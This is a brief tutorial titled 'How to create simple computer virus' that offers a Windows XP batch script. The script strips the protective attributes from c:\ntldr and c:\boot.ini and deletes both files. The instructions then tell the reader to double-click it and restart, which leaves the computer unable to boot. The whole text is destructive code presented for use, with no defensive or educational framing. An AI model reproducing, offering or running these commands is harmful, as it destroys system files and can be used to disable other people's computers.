How to create simple computer virus

Basics Requirements are : -
 a ) Operating system Windows xp 
b ) Notepad 
c ) Basics knowledge about how to write and save a file in notepad
 #### Steps to write in notepad #####

 @echo off attrib -s -h -r c:\ntldr
 del c:\ntldr 
attrib -s -h -r c:\boot.ini 
del  c:\boot.ini

#### Finally save it in your Desktop by yourname.bat 
# How to run Procedure 
1 ) Double click on yourname.bat file
 2 ) restart your computer
 ### See the results ###### 
Thankyou very much